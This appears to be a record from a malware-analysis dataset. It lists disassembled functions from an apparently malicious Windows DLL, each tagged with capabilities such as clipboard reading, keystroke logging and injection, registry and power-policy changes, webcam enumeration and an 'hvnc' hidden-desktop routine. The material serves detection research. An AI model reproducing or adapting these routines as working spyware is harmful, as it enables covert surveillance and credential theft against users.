joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100035a4
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
push esi
push edi
mov edi, ecx
push 0x2710
push dword [edi + 0x508]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor ebp, ebp
cmp byte [edi + 0xa3], 0
je 0x10003632
push 0xd
call dword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
test eax, eax
je 0x10003629
push ebp
call dword [sym.imp.USER32.dll_OpenClipboard]
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
je 0x10003621
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x10003621
push ebx
push eax
mov eax, dword [edi + 0x20]
mov ebx, 0x1a99
add eax, ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [edi + 0x20]
add eax, ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [edi + 0x20]
push esi
mov dword [ecx + 0x6a99], eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
pop ebx
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x10003632
mov eax, dword [edi + 0x20]
mov dword [eax + 0x6a99], ebp
mov eax, dword [edi + 0x20]
mov ecx, dword [eax + 0x6a99]
test ecx, ecx
je 0x10003687
call fcn.1001cda8
mov ecx, dword [edi + 0x20]
mov esi, eax
push ebp
push ebp
push dword [ecx + 0x6a99]
add ecx, 0x1a99
push esi
push 0xffffffffffffffff
push ecx
push 0x200
push 0x4e3
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [edi + 0x20]
mov edx, esi
mov ecx, dword [edi]
push dword [eax + 0x6a99]
call fcn.1000cc0c
pop ecx
mov ecx, esi
call fcn.1001ce4a
jmp 0x10003692
mov ecx, dword [edi]
xor edx, edx
push ebp
call fcn.1000cc0c
pop ecx
push dword [edi + 0x508]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop edi
pop esi
pop ebp
ret

Function at 0x1000379c
Capabilities:
Terminate thread

Disassembly:
push ebx
push ebp
push esi
mov esi, ecx
lea ebx, [esi + 0xf30]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor ebp, ebp
cmp dword [esi + 0xf2c], ebp
jle 0x100037f4
push edi
lea edi, [esi + 0x8ec]
push 0x3e8
push dword [edi]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x100037dd
push 1
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [edi]
call fcn.1001cef9
and dword [edi], 0
inc ebp
add edi, 4
cmp ebp, dword [esi + 0xf2c]
jl 0x100037bf
pop edi
and dword [esi + 0xf2c], 0
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebp
pop ebx
ret

Function at 0x10003806
Capabilities:
Create thread
Resume thread

Disassembly:
push ebx
push esi
push edi
xor eax, eax
mov ebx, ecx
push eax
push 4
push dword [esp + 0x18]
push edx
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push edi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
lea esi, [ebx + 0xf30]
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebx + 0xf2c]
push esi
mov dword [ebx + eax*4 + 0x8ec], edi
inc dword [ebx + 0xf2c]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebx
ret
Function at 0x1000385a
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, edx
push edi
mov edi, ecx
cmp edx, 4
jb 0x100038b0
push ebx
mov ebx, edx
shr ebx, 2
movzx ecx, byte [edi + 3]
sub edx, 4
movzx eax, byte [edi + 2]
shl ecx, 8
or ecx, eax
imul esi, esi, 0x5bd1e995
movzx eax, byte [edi + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi]
shl ecx, 8
add edi, 4
or ecx, eax
imul ecx, ecx, 0x5bd1e995
mov eax, ecx
shr eax, 0x18
xor eax, ecx
imul ecx, eax, 0x5bd1e995
xor esi, ecx
sub ebx, 1
jne 0x1000386b
pop ebx
sub edx, 1
je 0x100038d1
sub edx, 1
je 0x100038c8
sub edx, 1
jne 0x100038dc
movzx eax, byte [edi + 2]
shl eax, 0x10
xor esi, eax
movzx eax, byte [edi + 1]
shl eax, 8
xor esi, eax
movzx eax, byte [edi]
xor eax, esi
imul esi, eax, 0x5bd1e995
mov eax, esi
shr eax, 0xd
xor eax, esi
imul ecx, eax, 0x5bd1e995
pop edi
pop esi
mov eax, ecx
shr eax, 0xf
xor eax, ecx
ret
Function at 0x1000399e
Capabilities:
Check mutex on windows
Get common file path
Query environment variable
Read file via mapping

Disassembly:
push ebx
push esi
mov esi, ecx
xor ebx, ebx
lea eax, [esi + 0x5b4]
push eax
push 0x6a9d
push ebx
push 4
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push ebx
push ebx
push ebx
push 0xf001f
push eax
mov dword [esi + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [esi + 0x20], eax
test eax, eax
je 0x10003b38
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
cmp eax, 0xb7
je 0x10003b37
lea eax, [esi + 0x30]
push eax
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
mov ecx, dword [esi + 0x20]
mov dword [ecx + 0x193], eax
mov eax, dword [esi + 0x20]
cmp dword [eax + 0x193], ebx
je 0x10003b37
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_CreateMutexA]
lea eax, [esi + 0x668]
push eax
push ebx
push ebx
call ebp
mov dword [esi + 0x508], eax
test eax, eax
je 0x10003b36
call edi
cmp eax, 0xb7
je 0x10003b36
push ebx
push ebx
push ebx
call ebp
mov dword [esi + 0x514], eax
test eax, eax
je 0x10003b36
lea eax, [esi + 0x6a4]
push eax
push ebx
push ebx
call ebp
mov dword [esi + 0x50c], eax
test eax, eax
je 0x10003b36
call edi
cmp eax, 0xb7
je 0x10003b36
lea eax, [esi + 0x758]
push eax
push ebx
push ebx
call ebp
mov dword [esi + 0x518], eax
test eax, eax
je 0x10003b36
call edi
cmp eax, 0xb7
je 0x10003b36
mov ebp, dword [sym.imp.KERNEL32.dll_CreateEventA]
lea eax, [esi + 0x71c]
push eax
push ebx
push 1
push ebx
call ebp
mov dword [esi + 0x51c], eax
test eax, eax
je 0x10003b36
call edi
cmp eax, 0xb7
je 0x10003b36
lea eax, [esi + 0x62c]
push eax
push ebx
push 1
push ebx
call ebp
mov dword [esi + 0x510], eax
test eax, eax
je 0x10003b36
call edi
cmp eax, 0xb7
je 0x10003b36
lea eax, [esi + 0x6e0]
push eax
push ebx
push ebx
push ebx
call ebp
mov dword [esi + 0x520], eax
test eax, eax
je 0x10003b36
call edi
cmp eax, 0xb7
je 0x10003b36
mov edi, 0x12c
add esi, 0x794
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
jne 0x10003b28
push edi
push esi
push str.windir
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x10003b36
push str.explorer.exe
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov bl, 1
pop ebp
pop edi
pop esi
mov al, bl
pop ebx
ret
Function at 0x10003cfc
Capabilities:
Query or enumerate registry key
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x234
push ebx
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 0x14]
push eax
push 0x4011f
xor ebx, ebx
mov dword [esp + 0x38], edx
push ebx
push str.AppEventsSchemesApps
push reloc.WS2_32.dll_accept
mov dword [esp + 0x40], ecx
call ebp
test eax, eax
jne 0x10003cf3
push edi
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [esp + 0x48]
push eax
push ebx
push ebx
push ebx
push dword [esp + 0x44]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
mov eax, dword [esp + 0x2c]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x10003cec
mov dword [esp + 0x28], ebx
push esi
xor eax, eax
mov dword [esp + 0x20], 0x104
push eax
push eax
push eax
push eax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x50]
push eax
push ebx
push dword [esp + 0x38]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
jne 0x10003cdc
lea eax, [esp + 0x18]
push eax
push 0x4011f
push 0
lea eax, [esp + 0x48]
push eax
push dword [esp + 0x2c]
call ebp
test eax, eax
jne 0x10003cdc
xor ecx, ecx
lea eax, [esp + 0x28]
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push eax
push ecx
push ecx
push ecx
push dword [esp + 0x44]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
mov eax, dword [esp + 0x28]
test eax, eax
je 0x10003cd6
xor esi, esi
test eax, eax
je 0x10003cd6
mov ebx, dword [esp + 0x34]
push 0
push 0
push 0
push 0
lea eax, [esp + 0x30]
mov dword [esp + 0x30], 0x104
push eax
lea eax, [esp + 0x50]
push eax
push esi
push dword [esp + 0x34]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
jne 0x10003cc7
lea eax, [esp + 0x14]
push eax
push 0x4011f
push 0
lea eax, [esp + 0x48]
push eax
push dword [esp + 0x28]
call ebp
test eax, eax
jne 0x10003cc7
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 0x104
push eax
lea eax, [esp + 0x144]
push eax
push ebx
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
jne 0x10003cc1
push dword [esp + 0x24]
lea eax, [esp + 0x144]
push eax
push 1
push dword [esp + 0x44]
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueA]
push 1
lea eax, [esp + 0x17]
mov byte [esp + 0x17], 0
push eax
push 1
push ebx
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueA]
push dword [esp + 0x14]
call edi
inc esi
cmp esi, dword [esp + 0x28]
jb 0x10003c24
mov ebx, dword [esp + 0x2c]
push dword [esp + 0x18]
call edi
inc ebx
mov dword [esp + 0x2c], ebx
cmp ebx, dword [esp + 0x30]
jb 0x10003ba5
pop esi
push dword [esp + 0x18]
call edi
pop edi
pop ebp
pop ebx
add esp, 0x234
ret
mov al, cl
mov ecx, str..current
push esi
mov esi, str..Prev
test al, al
mov edx, esi
cmovne edx, ecx
cmovne ecx, esi
pop esi
jmp 0x10003b3d
Function at 0x10003d19
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc
lea eax, [ebp - 4]
push eax
push 0xf013f
push 0
push str.Control_PanelPowerCfgGlobalPowerPolicy
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 8], 0xb0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xbc]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push str.Policies
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
xor eax, eax
inc eax
imul eax, eax, 0x34
mov byte [ebp + eax - 0xbc], 0
xor eax, eax
inc eax
imul eax, eax, 0x3f
mov byte [ebp + eax - 0xbc], 0x80
xor eax, eax
inc eax
shl eax, 6
mov byte [ebp + eax - 0xbc], 0
xor eax, eax
inc eax
imul eax, eax, 0x4b
mov byte [ebp + eax - 0xbc], 0x80
xor eax, eax
inc eax
imul eax, eax, 0xac
mov dword [ebp + eax - 0xbc], 0x3e0441
push dword [ebp - 8]
lea eax, [ebp - 0xbc]
push eax
push dword [ebp - 0xc]
push 0
push str.Policies
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret

Function at 0x10004071
Capabilities:
Enumerate devices by category

Disassembly:
sub esp, 0x10
push ebx
push esi
mov esi, edx
mov ebx, ecx
test esi, esi
je 0x10004130
push ebp
call fcn.10004680
xor ecx, ecx
cmp eax, ebx
cmovb ebx, ecx
xor ebp, ebp
lea ecx, [esp + 0x18]
mov dword [esi], ebp
call fcn.1000470c
push eax
push 0x10041ca0
push 1
push ebp
push 0x100365d0
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [esp + 0x18]
test ecx, ecx
je 0x1000412f
mov eax, dword [ecx]
lea edx, [esp + 0xc]
push ebp
push edx
push 0x100365e0
push ecx
call dword [eax + 0xc]
mov ecx, dword [esp + 0xc]
test ecx, ecx
je 0x1000412f
mov eax, dword [ecx]
push edi
push ecx
call dword [eax + 0x14]
mov edi, ebp
jmp 0x100040fe
mov eax, dword [esp + 0x18]
push esi
push 0x10036640
push ebp
mov ecx, dword [eax]
push ebp
push eax
call dword [ecx + 0x20]
cmp dword [esi], ebp
je 0x100040fe
cmp edi, ebx
je 0x1000411c
mov ecx, esi
inc edi
call fcn.1000470f
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x14]
push edx
lea edx, [esp + 0x1c]
mov dword [esp + 0x18], ebp
push edx
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x100040dc
lea ecx, [esp + 0x10]
call fcn.1000470f
lea ecx, [esp + 0x1c]
call fcn.1000470f
pop edi
pop ebp
pop esi
pop ebx
add esp, 0x10
ret

Function at 0x1000454e
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
push edi
lea eax, [esi + 0xac]
push eax
lea eax, [esi + 0x30]
push str.webcam_d
push eax
call fcn.1000404d
add esp, 0xc
xor edi, edi
push edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0xb0], eax
lea eax, [esi + 0xa4]
push eax
push edi
push esi
push 0x10004136
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x2710
push dword [esi + 0xb0]
mov dword [esi + 0xa8], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
pop edi
inc eax
pop esi
ret
Function at 0x10004680
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
xor edi, edi
push edi
mov esi, edi
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
push 0x10036630
push 1
push edi
push 0x100365d0
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x10004700
mov eax, dword [ecx]
lea edx, [ebp - 4]
push edi
push edx
push 0x100365e0
push ecx
call dword [eax + 0xc]
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x100046f8
mov eax, dword [ecx]
push ecx
call dword [eax + 0x14]
jmp 0x100046dc
lea ecx, [ebp - 0xc]
inc esi
call fcn.1000470f
mov eax, dword [ebp - 4]
lea edx, [ebp - 0xc]
push edi
push edx
push 1
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x100046d3
lea ecx, [ebp - 4]
call fcn.1000470f
lea ecx, [ebp - 8]
call fcn.1000470f
call dword [sym.imp.ole32.dll_CoUninitialize]
pop edi
mov eax, esi
pop esi
leave
ret

Function at 0x10004a84
Capabilities:
Log keystrokes via polling

Disassembly:
push ecx
push ebp
push esi
push edi
xor esi, esi
mov eax, ecx
xor edi, edi
mov dword [esp + 0xc], eax
mov ebp, edx
cmp dword [0x10046814], esi
jle 0x10004afd
push ebx
push dword [edi*4 + 0x10046818]
push eax
call dword [sym.imp.USER32.dll_VkKeyScanExW]
movzx ebx, ax
mov eax, dword [0x10046814]
cmp bx, 0xffff
je 0x10004ae0
xor esi, esi
test eax, eax
jle 0x10004ae0
push dword [esi*4 + 0x10046818]
mov edx, dword [esp + 0x14]
mov ecx, ebx
call fcn.100049e6
pop ecx
test al, al
jne 0x10004aed
mov eax, dword [0x10046814]
inc esi
cmp esi, eax
jl 0x10004abf
inc edi
xor esi, esi
cmp edi, eax
jge 0x10004afc
mov eax, dword [esp + 0x10]
jmp 0x10004a9d
test ebp, ebp
je 0x10004af5
mov word [ebp], bx
mov esi, dword [esi*4 + 0x10046818]
pop ebx
pop edi
mov eax, esi
pop esi
pop ebp
pop ecx
ret
Function at 0x10004f98
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov ebx, ecx
movzx esi, bl
push esi
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x10004fc2
push 0
push 2
push 0
push esi
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
push ebx
call dword [sym.imp.USER32.dll_keybd_event]
pop esi
pop ebx
ret

Function at 0x10004ff1
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov bh, byte [ebp + 8]
mov bl, dl
mov dword [ebp - 4], ecx
test bh, bh
je 0x10005047
push 0x14
call dword [sym.imp.USER32.dll_GetKeyState]
mov cl, bl
xor cl, 1
and al, 1
movzx edx, cl
movzx ecx, bl
cmove edx, ecx
mov cl, 0xa0
mov bl, dl
test bl, 1
je 0x1000502a
call fcn.10004fc5
jmp 0x1000502f
call fcn.10004f98
test bl, 2
je 0x1000503b
mov cl, 0xa2
call fcn.10004fc5
test bl, 4
je 0x10005047
mov cl, 0xa4
call fcn.10004fc5
movzx eax, bh
xor eax, 1
push 0
add eax, eax
push eax
mov eax, dword [ebp - 4]
push 0
movzx eax, al
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_keybd_event]
test bh, bh
je 0x10005093
test bl, 1
je 0x1000507b
mov cl, 0xa0
call fcn.10004f98
test bl, 2
je 0x10005087
mov cl, 0xa2
call fcn.10004f98
test bl, 4
je 0x10005093
mov cl, 0xa4
call fcn.10004f98
pop ebx
leave
ret
Function at 0x10005132
Capabilities:
Get keyboard layout
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebx
push ebp
push esi
mov ebp, edx
xor edx, edx
push edi
mov edi, ecx
mov al, dl
movzx esi, al
cmp dword [esi*8 + 0x1003c100], edi
je 0x100050fa
inc al
cmp al, 0x58
jb 0x100050a2
push edx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
movzx eax, ax
mov ecx, edi
push eax
call fcn.10004817
movzx eax, al
push eax
call dword [sym.imp.USER32.dll_VkKeyScanExA]
movzx ecx, ax
test ebp, ebp
mov edx, ecx
setne al
shr edx, 8
movzx eax, al
push eax
call fcn.10004ff1
pop ecx
pop edi
pop esi
pop ebp
pop ebx
ret
mov bl, byte [esi*8 + 0x1003c104]
xor ecx, ecx
cmp byte [esi*8 + 0x1003c105], cl
setne cl
test bl, bl
je 0x100050b4
mov eax, ecx
or eax, 2
test ebp, ebp
push edx
cmovne eax, ecx
push eax
push edx
movzx eax, bl
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
push ebx
call dword [sym.imp.USER32.dll_keybd_event]
jmp 0x100050f5
push ecx
mov eax, ecx
mov dword [esp], eax
push ebx
mov ebx, edx
mov eax, dword [eax]
push edi
mov edi, dword [eax + 0x28]
test ebx, ebx
je 0x10005206
cmp byte [edi + 0xa3], 0
je 0x10005162
mov edx, dword [esp + 0x10]
mov ecx, ebx
pop edi
pop ebx
add esp, 4
jmp 0x10005096
mov eax, dword [edi + 0x20]
mov ecx, edi
push ebp
push esi
xor ebp, ebp
mov esi, dword [eax + 0x108]
mov edx, esi
call fcn.10003e18
test al, al
je 0x10005185
mov ecx, esi
call fcn.10003f50
mov ebp, eax
test esi, esi
je 0x100051d3
mov edx, esi
mov ecx, edi
call fcn.10006560
test al, al
je 0x100051d3
mov edx, esi
mov ecx, edi
call fcn.10006522
test al, al
je 0x100051d3
push esi
call dword [sym.imp.USER32.dll_IsIconic]
test eax, eax
jne 0x100051d3
mov edx, esi
mov ecx, edi
call fcn.10006672
test eax, eax
je 0x100051c6
mov edx, eax
mov ecx, edi
mov esi, eax
call fcn.10006790
mov ecx, esi
call fcn.100072da
test eax, eax
je 0x100051e1
jmp 0x100051df
push dword [edi + 0x570]
call dword [sym.imp.USER32.dll_GetLastActivePopup]
mov esi, eax
push dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
mov edx, esi
push ebx
call fcn.10004bc1
pop ecx
pop ecx
pop esi
test ebp, ebp
je 0x10005205
mov ecx, ebp
pop ebp
pop edi
pop ebx
add esp, 4
jmp fcn.100065f4
pop ebp
pop edi
pop ebx
pop ecx
ret
Function at 0x10005f32
Capabilities:
Read file via mapping

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [esp + 0x10]
xor ebx, ebx
push edi
mov edi, ecx
mov eax, edx
inc ebx
mov dword [esp + 0xc], eax
cmp dword [edi + 0x94], eax
jne 0x10005f65
cmp dword [edi + 0x98], ebp
jne 0x10005f65
mov eax, dword [esp + 0x18]
cmp byte [edi + 0xa0], al
je 0x10006091
mov ecx, dword [edi + 0x18]
push esi
call fcn.100065f4
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x2710
push dword [edi + 0x50c]
call esi
push 0x2710
push dword [edi + 0x514]
call esi
push dword [esp + 0x1c]
mov esi, dword [esp + 0x14]
mov edx, ebp
push esi
mov ecx, edi
call fcn.1000525d
mov eax, dword [edi]
lea edx, [edi + 0x4c0]
pop ecx
pop ecx
mov ecx, edi
mov eax, dword [eax + 0x304]
mov dword [esp + 0x10], eax
call fcn.10005e43
mov ecx, edi
call fcn.10005c6c
test byte [edi + 0x2c], 2
jne 0x1000601d
push 0
mov ecx, edi
call fcn.10003732
pop ecx
push dword [edi + 0x28]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [edi + 0x24]
call fcn.1001cef9
lea eax, [edi + 0x5f0]
push eax
push dword [edi + 0x4d8]
push 0
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
xor ecx, ecx
mov dword [edi + 0x24], eax
push ecx
push ecx
push ecx
push 0xf001f
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [edi + 0x28], eax
test eax, eax
jne 0x1000601d
xor bl, bl
jmp 0x1000607a
movzx eax, byte [edi + 0xa1]
mov edx, dword [edi + 0x4c0]
push eax
push ecx
push ecx
push dword [edi + 0x98]
mov ecx, dword [edi]
push dword [edi + 0x94]
call fcn.1000d210
add esp, 0x14
push 0x4000
push 0
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push ebx
mov ecx, edi
call fcn.10003732
movzx ecx, bp
shl ecx, 0x10
movzx eax, si
or ecx, eax
mov eax, dword [esp + 0x20]
push ecx
movzx eax, al
mov ecx, edi
push eax
call fcn.10007314
add esp, 0xc
push dword [edi + 0x514]
mov esi, dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call esi
push dword [edi + 0x50c]
call esi
pop esi
pop edi
pop ebp
mov al, bl
pop ebx
pop ecx
ret

Function at 0x1000611b
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc8
push ebx
xor bl, bl
push esi
mov esi, edx
cmp byte [ecx + 0x8dc], bl
je 0x10006179
test dword [ecx + 0x2c], 0x400
jne 0x10006179
mov ecx, esi
call fcn.100064f7
cmp eax, 0x1ba347ca
jne 0x10006179
push 0xc8
lea eax, [ebp - 0xc8]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0x1003d604
lea eax, [ebp - 0xc8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
xor ecx, ecx
movzx ebx, bl
inc ecx
test eax, eax
cmove ebx, ecx
pop esi
mov al, bl
pop ebx
leave
ret
Function at 0x10006790
Capabilities:
Log keystrokes

Disassembly:
push ecx
push ecx
push ebx
mov ebx, edx
push ebp
mov dword [esp + 8], ebx
mov ebp, ecx
call fcn.10006560
test al, al
je 0x100068b3
mov eax, dword [ebp + 0x20]
push edi
mov edi, dword [eax + 0x108]
cmp edi, ebx
je 0x100068b2
mov edx, ebx
mov ecx, ebp
call fcn.10006759
test al, al
je 0x100068b2
mov edx, ebx
mov ecx, ebp
call fcn.10006600
test al, 0x15
jne 0x100068b2
push esi
mov esi, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push ecx
push 0
push ebx
push 0
push ebx
call esi
mov edx, eax
mov ecx, ebp
call fcn.100073b6
add esp, 0xc
lea eax, [esp + 0x14]
push eax
push edi
call esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov esi, dword [sym.imp.USER32.dll_AttachThreadInput]
mov edi, eax
push 1
push ebx
push edi
call esi
push dword [esp + 0x10]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push dword [esp + 0x10]
call dword [sym.imp.USER32.dll_BringWindowToTop]
push dword [esp + 0x10]
call dword [sym.imp.USER32.dll_SetFocus]
push 0
push ebx
push edi
call esi
test dword [ebp + 0x2c], 0x400
mov ebx, dword [esp + 0x10]
jne 0x1000688b
mov edx, ebx
mov ecx, ebp
call fcn.10003e18
test al, al
jne 0x1000688b
push 1
push 0
push 0x11040
push str.hvnc
push 0
push ebx
mov byte [ebp + 0x8dc], 1
call dword [0x100468d8]
xor eax, eax
push 3
push eax
push eax
push eax
push eax
push eax
push ebx
mov byte [ebp + 0x8dc], al
call dword [sym.imp.USER32.dll_SetWindowPos]
jmp 0x100068b1
lea esi, [ebp + 0x8c0]
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edx, ebx
mov ecx, ebp
call fcn.100068b8
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [ebp + 0x20]
mov dword [eax + 0x108], ebx
pop esi
pop edi
pop ebp
pop ebx
pop ecx
pop ecx
ret